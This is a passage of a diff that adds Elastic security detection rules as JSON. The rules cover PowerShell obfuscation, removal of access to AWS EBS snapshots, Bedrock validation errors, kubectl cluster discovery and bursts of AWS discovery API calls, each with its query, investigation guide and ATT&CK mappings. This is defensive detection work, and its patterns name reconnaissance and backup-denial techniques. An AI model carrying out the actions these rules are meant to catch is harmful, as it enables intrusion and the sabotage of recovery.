commonly associated with techniques such as SecureString encoding, formatting obfuscation, or character-level manipulation designed to bypass static analysis and AMSI inspection.", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential PowerShell Obfuscation via Special Character Overuse", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via Special Character Overuse\n\nPowerShell is a powerful scripting language used for task automation and configuration management in Windows environments. Adversaries exploit PowerShell's flexibility to obfuscate scripts, using excessive special characters to evade detection. The detection rule identifies scripts with high special character density, indicating potential obfuscation, by analyzing script length and character patterns, thus aiding in uncovering malicious activities.\n\n### Possible investigation steps\n\n- Review the dedup_space_script_block field to understand the script's structure and identify any suspicious patterns or keywords that might indicate obfuscation techniques.\n- Analyze the replaced_with_fire field to assess the density and distribution of special characters, which can provide insights into the obfuscation methods used.\n- Examine the file.path and host.name fields to determine the origin and context of the script execution, which can help identify if the script was run on a critical system or by a privileged user.\n- Check the user.id and agent.id fields to verify the identity of the user or agent executing the script, which can help assess if the activity aligns with expected behavior or if it might be unauthorized.\n- Correlate the powershell.file.script_block_id with other logs or alerts to identify if similar scripts have been executed elsewhere in the environment, indicating a broader attack pattern.\n\n### False positive analysis\n\n- Scripts with legitimate use of special characters for formatting or encoding may trigger false positives. Review the script's purpose and context to determine if the use of special characters is justified.\n- Automated scripts that heavily rely on string manipulation or dynamic content generation might be flagged. Consider adding exceptions for known scripts or trusted sources to reduce unnecessary alerts.\n- PowerShell scripts used in development or testing environments often contain high special character density. Implement environment-based exclusions to prevent these from being flagged in non-production settings.\n- Scripts utilizing SecureString or other security-related encoding methods may appear obfuscated. Verify the script's origin and purpose, and whitelist these methods if they are part of standard security practices.\n- Regularly update the detection rule to refine the pattern matching and reduce false positives by incorporating feedback from security analysts and system administrators.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent lateral movement and further execution of potentially malicious scripts.\n- Terminate any suspicious PowerShell processes identified by the alert to halt ongoing malicious activity.\n- Conduct a thorough review of the script block text and associated metadata to understand the intent and potential impact of the obfuscated script.\n- Remove any unauthorized or malicious scripts from the affected system to prevent re-execution.\n- Restore the system from a known good backup if the script has caused significant changes or damage to the system.\n- Update endpoint protection and intrusion detection systems to recognize and block similar obfuscation techniques in the future.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.\n", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\"\n\n// replace repeated spaces used for formatting after a new line with a single space to reduce FPs\n| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, \"\"\"\\n\\s+\"\"\", \"\\n \")\n\n// Look for scripts with more than 1000 chars\n| eval Esql.script_block_length = length(Esql.script_block_tmp)\n| where Esql.script_block_length > 1000\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| eval Esql.script_block_tmp = replace(\n Esql.script_block_tmp,\n \"\"\"[\\s\\$\\{\\}\\+\\@\\=\\(\\)\\^\\\\\\\"~\\[\\]\\?\\.]\"\"\",\n \"\ud83d\udd25\"\n)\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_count = Esql.script_block_length - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// Calculate the ratio of special characters to total length\n| eval Esql.script_block_ratio = Esql.script_block_count::double / Esql.script_block_length::double\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_count,\n Esql.script_block_length,\n Esql.script_block_ratio,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.path,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n host.name,\n agent.id,\n user.id\n\n// Filter for scripts with high whitespace and special character ratio\n| where Esql.script_block_ratio > 0.75\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_length", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_ratio", + "type": "double" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + "type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "6ddb6c33-00ce-4acd-832a-24b251512023", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "6ddb6c33-00ce-4acd-832a-24b251512023_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/713e0f5f-caf7-4dc2-88a7-3561f61f262a_3.json b/packages/security_detection_engine/kibana/security_rule/713e0f5f-caf7-4dc2-88a7-3561f61f262a_3.json new file mode 100644 index 00000000000..1c10745d7c9 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/713e0f5f-caf7-4dc2-88a7-3561f61f262a_3.json @@ -0,0 +1,112 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. EBS snapshots are essential for data retention and disaster recovery. Adversaries may revoke or modify snapshot permissions to prevent legitimate users from accessing backups, thereby obstructing recovery efforts after data loss or destructive actions. This tactic can also be used to evade detection or maintain exclusive access to critical backups, ultimately increasing the impact of an attack and complicating incident response.", + "event_category_override": "event.type", + "false_positives": [ + "Access removal may be a part of normal operations and should be verified before taking action." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "target.entity.id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "eql", + "license": "Elastic License v2", + "name": "AWS EC2 EBS Snapshot Access Removed", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS EC2 EBS Snapshot Access Removed\n\nThis rule detects when access is removed for an AWS EC2 EBS snapshot. EBS virtual disks can be copied into snapshots, which can then be used as backups for recovery and data retention efforts. Adversaries may attempt to remove access to snapshots in order to prevent legitimate users or automated processes from accessing or restoring from snapshots following data loss, ransomware, or destructive actions. This can significantly delay or even prevent recovery, increasing the impact of the attack. Restricting snapshot access may help adversaries cover their tracks by making it harder for defenders to analyze or recover deleted or altered data. Attackers may remove permissions for all users except their own compromised account, allowing them to maintain exclusive access to backups for future use or leverage. Understanding the context and legitimacy of such changes is crucial to determine if the action is benign or malicious.\n\n#### Possible investigation steps:\n\n- **Identify who performed the action**: Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. Evaluate whether the identity is authorized to manage EBS snapshot permissions (check IAM policies for `ec2:ModifySnapshotAttribute`). \n- **Analyze the source of the request**: Examine `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. Review `user_agent.original` to determine if the request came from an expected administrative tool or host.\n- **Examine the scope of the change**:\n - Review `aws.cloudtrail.request_parameters` to understand which accounts or entities had access removed. \n - Look for unusual patterns such as `createVolumePermission={remove=all}` or removal of specific external or organizational accounts. \n - Cross-check the affected `snapshotId` in the AWS console or via CLI to confirm current sharing status and determine if any copies or dependent volumes exist. \n - Use AWS Config or AWS CLI (`describe-snapshot-attribute`) to verify whether other snapshots were modified within the same timeframe.\n- **Correlate with other activities**:\n - Search CloudTrail for additional activity from the same actor or `source.ip` around the event time. \n - Pay special attention to subsequent `DeleteSnapshot`, `DeregisterImage`, or `RevokeSnapshotAccess` events, which may signal ongoing destruction. \n - Check for parallel IAM activity, such as policy changes that grant or revoke permissions. \n - Correlate with GuardDuty or Security Hub findings related to data exfiltration, destructive actions, or unauthorized configuration changes. \n - Determine if any high-value or production snapshots were affected, especially those linked to business-critical EBS volumes.\n- **Evaluate timing and intent**: Compare `@timestamp` with maintenance windows or known change requests. Actions taken outside approved hours or without associated tickets may indicate compromise or sabotage. If this change coincides with other detections (for example, `EBS encryption disabled` or `root login` events), treat it as part of a coordinated impact campaign.\n\n### False positive analysis:\n\n- **Planned administrative maintenance**: Confirm whether this snapshot modification aligns with backup rotation, retention policy enforcement, or snapshot lifecycle automation. \n- **Automation and tooling**: Infrastructure-as-code pipelines or DevOps scripts may legitimately remove snapshot sharing to enforce compliance. Review tags, user agents, and automation identifiers. \n- **Testing or sandbox accounts**: Some non-production environments may modify snapshot access for isolation. Validate account purpose before escalating.\n\nIf the action was expected, document the change approval and reconcile against internal audit or change-control systems.\n\n### Response and remediation:\n\n**1. Containment and validation**\n- Review and, if necessary, restore snapshot permissions using AWS Console or CLI (`modify-snapshot-attribute` with `add` parameters). \n- Confirm that no additional snapshots or AMIs have had access removed. \n- Restrict `ec2:ModifySnapshotAttribute` permissions to only trusted administrative roles.\n**2. Investigate for data destruction or persistence**\n- Determine if the same actor also deleted or copied snapshots (`DeleteSnapshot`, `CopySnapshot`). \n- Review subsequent volume creation or image registration events that could indicate snapshot reuse. \n- Identify whether any snapshot was shared to or copied by an external AWS account.\n**3. Strengthen detection and monitoring**\n- Enable AWS Config rules and Security Hub controls such as `ebs-snapshot-public-restorable-check`. \n- Establish continuous monitoring for `ModifySnapshotAttribute` and `DeleteSnapshot` operations. \n- Correlate future detections with user identity and source IP context to identify recurring behavior.\n**4. Recovery and hardening**\n- Verify that critical snapshots and backups are retained and encrypted. \n- Implement backup immutability with AWS Backup Vault Lock or S3 Object Lock for long-term protection. \n- Apply service control policies (SCPs) to prevent unauthorized modification of snapshot sharing attributes. \n- Conduct a post-incident review to identify the root cause and strengthen least-privilege enforcement for EBS management roles.\n\n### Additional information\n\n- **[AWS Incident Response Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)**: guidance for investigating unauthorized access to modify account settings. \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/)**: Example framework for customers to create, develop, and integrate security playbooks in preparation for potential attack scenarios when using AWS services\n- **AWS Documentation** \n - [EBS Snapshot Permissions](https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html) \n - [ModifySnapshotAttribute API Reference](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html)\n", + "query": "info where event.dataset == \"aws.cloudtrail\" \n and event.action == \"ModifySnapshotAttribute\"\n and event.outcome == \"success\"\n and stringContains (aws.cloudtrail.request_parameters, \"attributeType=CREATE_VOLUME_PERMISSION\")\n and stringContains (aws.cloudtrail.request_parameters, \"remove=\")\n", + "references": [ + "https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "aws.cloudtrail.request_parameters", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "713e0f5f-caf7-4dc2-88a7-3561f61f262a", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS EC2", + "Use Case: Threat Detection", + "Tactic: Impact", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1485", + "name": "Data Destruction", + "reference": "https://attack.mitre.org/techniques/T1485/" + }, + { + "id": "T1490", + "name": "Inhibit System Recovery", + "reference": "https://attack.mitre.org/techniques/T1490/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 3 + }, + "id": "713e0f5f-caf7-4dc2-88a7-3561f61f262a_3", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/725a048a-88c5-4fc7-8677-a44fc0031822_6.json b/packages/security_detection_engine/kibana/security_rule/725a048a-88c5-4fc7-8677-a44fc0031822_6.json new file mode 100644 index 00000000000..5087711b4f4 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/725a048a-88c5-4fc7-8677-a44fc0031822_6.json @@ -0,0 +1,80 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies multiple validation exeception errors within AWS Bedrock. Validation errors occur when you run the InvokeModel or InvokeModelWithResponseStream APIs on a foundation model that uses an incorrect inference parameter or corresponding value. These errors also occur when you use an inference parameter for one model with a model that doesn't have the same API parameter. This could indicate attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs.", + "false_positives": [ + "Legitimate misunderstanding by users on accessing the bedrock models." + ], + "from": "now-60m", + "interval": "10m", + "investigation_fields": { + "field_names": [ + "target_time_window", + "user.id", + "cloud.account.id", + "total_denials" + ] + }, + "language": "esql", + "license": "Elastic License v2", + "name": "AWS Bedrock Detected Multiple Validation Exception Errors by a Single User", + "note": "## Triage and analysis\n\n### Investigating AWS Bedrock Detected Multiple Validation Exception Errors by a Single User\n\nAmazon Bedrock is AWS\u2019s managed service that enables developers to build and scale generative AI applications using large foundation models (FMs) from top providers.\n\nBedrock offers a variety of pretrained models from Amazon (such as the Titan series), as well as models from providers like Anthropic, Meta, Cohere, and AI21 Labs.\n\n#### Possible investigation steps\n\n- Identify the user account that caused validation errors in accessing the Amazon Bedrock models.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's attempts to access Amazon Bedrock models in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that that caused validation errors is a legitimate misunderstanding by users on accessing the bedrock models.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n - Identify if any implication to resource billing.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "from logs-aws_bedrock.invocation-*\n\n// Truncate timestamp to 1-minute window\n| eval Esql.time_window_date_trunc = date_trunc(1 minutes, @timestamp)\n\n// Filter for validation exceptions in responses\n| where gen_ai.response.error_code == \"ValidationException\"\n\n// keep relevant ECS and derived fields\n| keep\n user.id,\n gen_ai.request.model.id,\n cloud.account.id,\n gen_ai.response.error_code,\n Esql.time_window_date_trunc\n\n// count number of denials by user/account/time window\n| stats\n Esql.ml_response_validation_error_count = count(*)\n by\n Esql.time_window_date_trunc,\n user.id,\n cloud.account.id\n\n// Filter for excessive errors\n| where Esql.ml_response_validation_error_count > 3\n", + "references": [ + "https://atlas.mitre.org/techniques/AML.T0015", + "https://atlas.mitre.org/techniques/AML.T0034", + "https://atlas.mitre.org/techniques/AML.T0046", + "https://www.elastic.co/security-labs/elastic-advances-llm-security" + ], + "related_integrations": [ + { + "package": "aws_bedrock", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.ml_response_validation_error_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": true, + "name": "cloud.account.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "725a048a-88c5-4fc7-8677-a44fc0031822", + "setup": "## Setup\n\nThis rule requires that AWS Bedrock Integration be configured. For more information, see the AWS Bedrock integration documentation:\n\nhttps://www.elastic.co/docs/current/integrations/aws_bedrock\n", + "severity": "high", + "tags": [ + "Domain: LLM", + "Data Source: AWS", + "Data Source: AWS Bedrock", + "Data Source: AWS S3", + "Use Case: Policy Violation", + "Mitre Atlas: T0015", + "Mitre Atlas: T0034", + "Mitre Atlas: T0046", + "Resources: Investigation Guide" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "725a048a-88c5-4fc7-8677-a44fc0031822_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/74e5241e-c1a1-4e70-844e-84ee3d73eb7d_2.json b/packages/security_detection_engine/kibana/security_rule/74e5241e-c1a1-4e70-844e-84ee3d73eb7d_2.json new file mode 100644 index 00000000000..5829b054a06 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/74e5241e-c1a1-4e70-844e-84ee3d73eb7d_2.json @@ -0,0 +1,106 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "building_block_type": "default", + "description": "This rule detects the execution of kubectl commands that are commonly used for workload and cluster discovery in Kubernetes environments. It looks for process events where kubectl is executed with arguments that query cluster information, such as namespaces, nodes, pods, deployments, and other resources. In environments where kubectl is not expected to be used, this could indicate potential reconnaissance activity by an adversary.", + "from": "now-119m", + "index": [ + "logs-endpoint.events.*", + "endgame-*", + "auditbeat-*", + "logs-auditd_manager.auditd-*", + "logs-crowdstrike.fdr*" + ], + "interval": "60m", + "language": "eql", + "license": "Elastic License v2", + "name": "Kubectl Workload and Cluster Discovery", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and\nevent.action in (\"exec\", \"exec_event\", \"executed\", \"process_started\", \"ProcessRollup2\") and\nprocess.name == \"kubectl\" and (\n (process.args in (\"cluster-info\", \"api-resources\", \"api-versions\", \"version\")) or\n (process.args in (\"get\", \"describe\") and process.args in (\n \"namespaces\", \"nodes\", \"pods\", \"pod\", \"deployments\", \"deployment\",\n \"replicasets\", \"statefulsets\", \"daemonsets\", \"services\", \"service\",\n \"ingress\", \"ingresses\", \"endpoints\", \"configmaps\", \"events\", \"svc\",\n \"roles\", \"rolebindings\", \"clusterroles\", \"clusterrolebindings\"\n )\n )\n)\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "auditd_manager", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "74e5241e-c1a1-4e70-844e-84ee3d73eb7d", + "severity": "low", + "tags": [ + "Domain: Container", + "Domain: Endpoint", + "Domain: Kubernetes", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Rule Type: BBR", + "Data Source: Elastic Defend", + "Data Source: Elastic Endgame", + "Data Source: Auditd Manager", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1613", + "name": "Container and Resource Discovery", + "reference": "https://attack.mitre.org/techniques/T1613/" + }, + { + "id": "T1069", + "name": "Permission Groups Discovery", + "reference": "https://attack.mitre.org/techniques/T1069/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 2 + }, + "id": "74e5241e-c1a1-4e70-844e-84ee3d73eb7d_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/74f45152-9aee-11ef-b0a5-f661ea17fbcd_4.json b/packages/security_detection_engine/kibana/security_rule/74f45152-9aee-11ef-b0a5-f661ea17fbcd_4.json new file mode 100644 index 00000000000..3baab4c3b86 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/74f45152-9aee-11ef-b0a5-f661ea17fbcd_4.json @@ -0,0 +1,90 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when a single AWS resource is running multiple `Describe` and `List` API calls in a 10-second window. This behavior could indicate an actor attempting to discover the AWS infrastructure using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure.", + "false_positives": [ + "Administrators or automated systems may legitimately perform multiple `Describe` and `List` API calls in a short time frame. Verify the user identity and the purpose of the API calls to determine if the behavior is expected." + ], + "from": "now-9m", + "investigation_fields": { + "field_names": [ + "time_window", + "aws.cloudtrail.user_identity.arn", + "unique_api_count" + ] + }, + "language": "esql", + "license": "Elastic License v2", + "name": "AWS Discovery API Calls via CLI from a Single Resource", + "note": "## Triage and analysis\n\n### Investigating AWS Discovery API Calls via CLI from a Single Resource\n\nThis rule detects multiple discovery-related API calls (`Describe`, `List`, or `Get` actions) within a short time window (30 seconds) from a single AWS resource. High volumes of such calls may indicate attempts to enumerate AWS infrastructure for reconnaissance purposes, which is often a tactic used by adversaries with compromised credentials or unauthorized access.\n\n#### Possible Investigation Steps\n\n- **Identify the Actor and Resource**:\n - **User Identity and Resource**: Examine `aws.cloudtrail.user_identity.arn` to identify the actor making the discovery requests. Verify the user or resource associated with these actions to ensure they are recognized and expected.\n - **User Agent and Tooling**: Check `user_agent.name` to confirm whether the `aws-cli` tool was used for these requests. Use of the CLI in an atypical context might indicate unauthorized or automated access.\n\n- **Evaluate the Context and Scope of API Calls**:\n - **API Action Types**: Look into the specific actions under `event.action` for API calls like `Describe*`, `List*`, or `Get*`. Note if these calls are targeting sensitive services, such as `EC2`, `IAM`, or `S3`, which may suggest an attempt to identify high-value assets.\n - **Time Pattern Analysis**: Review the `time_window` and `unique_api_count` to assess whether the frequency of these calls is consistent with normal patterns for this resource or user.\n\n- **Analyze Potential Compromise Indicators**:\n - **Identity Type**: Review `aws.cloudtrail.user_identity.type` to determine if the calls originated from an assumed role, a root user, or a service role. Unusual identity types for discovery operations may suggest misuse or compromise.\n - **Source IP and Geographic Location**: Examine the `source.ip` and `source.geo` fields to identify any unusual IP addresses or locations associated with the activity, which may help confirm or rule out external access.\n\n- **Examine Related CloudTrail Events**:\n - **Pivot for Related Events**: Identify any additional IAM or CloudTrail events tied to the same actor ARN. Activities such as `AssumeRole`, `GetSessionToken`, or `CreateAccessKey` in proximity to these discovery calls may signal an attempt to escalate privileges.\n - **Look for Anomalous Patterns**: Determine if this actor or resource has performed similar discovery actions previously, or if these actions coincide with other alerts related to credential use or privilege escalation.\n\n### False Positive Analysis\n\n- **Expected Discovery Activity**: Regular discovery or enumeration API calls may be conducted by security, automation, or monitoring scripts to maintain an inventory of resources. Validate if this activity aligns with known automation or inventory tasks.\n- **Routine Admin or Automated Access**: If specific roles or resources, such as automation tools or monitoring services, regularly trigger this rule, consider adding exceptions for these known, benign users to reduce false positives.\n\n### Response and Remediation\n\n- **Confirm Authorized Access**: If the discovery activity appears unauthorized, consider immediate steps to restrict the user or resource\u2019s permissions.\n- **Review and Remove Unauthorized API Calls**: If the actor is not authorized to perform discovery actions, investigate and potentially disable their permissions or access keys to prevent further misuse.\n- **Enhance Monitoring for Discovery Patterns**: Consider additional logging or alerting for high-frequency discovery API calls, especially if triggered from new or unrecognized resources.\n- **Policy Review and Updates**: Review IAM policies associated with the actor, ensuring restrictive permissions and MFA enforcement where possible to prevent unauthorized discovery.\n\n### Additional Information\n\nFor further guidance on AWS infrastructure discovery and best practices, refer to [AWS CloudTrail documentation](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html) and MITRE ATT&CK\u2019s [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580/).\n", + "query": "from logs-aws.cloudtrail*\n\n// create time window buckets of 10 seconds\n| eval Esql.time_window_date_trunc = date_trunc(10 seconds, @timestamp)\n| where\n event.dataset == \"aws.cloudtrail\"\n\n // filter on CloudTrail audit logs for IAM, EC2, S3, etc.\n and event.provider in (\n \"iam.amazonaws.com\",\n \"ec2.amazonaws.com\",\n \"s3.amazonaws.com\",\n \"rds.amazonaws.com\",\n \"lambda.amazonaws.com\",\n \"dynamodb.amazonaws.com\",\n \"kms.amazonaws.com\",\n \"cloudfront.amazonaws.com\",\n \"elasticloadbalancing.amazonaws.com\"\n )\n\n // ignore AWS service actions\n and aws.cloudtrail.user_identity.type != \"AWSService\"\n\n // filter for aws-cli specifically\n and user_agent.name == \"aws-cli\"\n\n // exclude DescribeCapacityReservations events related to AWS Config\n and not event.action in (\"DescribeCapacityReservations\")\n\n// filter for Describe, Get, List, and Generate API calls\n| where true in (\n starts_with(event.action, \"Describe\"),\n starts_with(event.action, \"Get\"),\n starts_with(event.action, \"List\"),\n starts_with(event.action, \"Generate\")\n)\n\n// extract owner, identity type, and actor from the ARN\n| dissect aws.cloudtrail.user_identity.arn \"%{}::%{Esql_priv.aws_cloudtrail_user_identity_arn_owner}:%{Esql.aws_cloudtrail_user_identity_arn_type}/%{Esql.aws_cloudtrail_user_identity_arn_roles}\"\n| where starts_with(Esql.aws_cloudtrail_user_identity_arn_roles, \"AWSServiceRoleForConfig\") != true\n\n// keep relevant fields (preserving ECS fields and computed time window)\n| keep @timestamp, Esql.time_window_date_trunc, event.action, aws.cloudtrail.user_identity.arn\n\n// count the number of unique API calls per time window and actor\n| stats\n Esql.event_action_count_distinct = count_distinct(event.action)\n by Esql.time_window_date_trunc, aws.cloudtrail.user_identity.arn\n\n// filter for more than 5 unique API calls per 10s window\n| where Esql.event_action_count_distinct > 5\n\n// sort the results by the number of unique API calls in descending order\n| sort Esql.event_action_count_distinct desc\n", + "references": [ + "https://stratus-red-team.cloud/attack-techniques/AWS/aws.discovery.ec2-enumerate-from-instance/" + ], + "related_integrations": [ + { + "package": "aws", + "version": "^4.0.0" + }, + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.event_action_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.arn", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "74f45152-9aee-11ef-b0a5-f661ea17fbcd", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: AWS EC2", + "Data Source: AWS IAM", + "Data Source: AWS S3", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1580", + "name": "Cloud 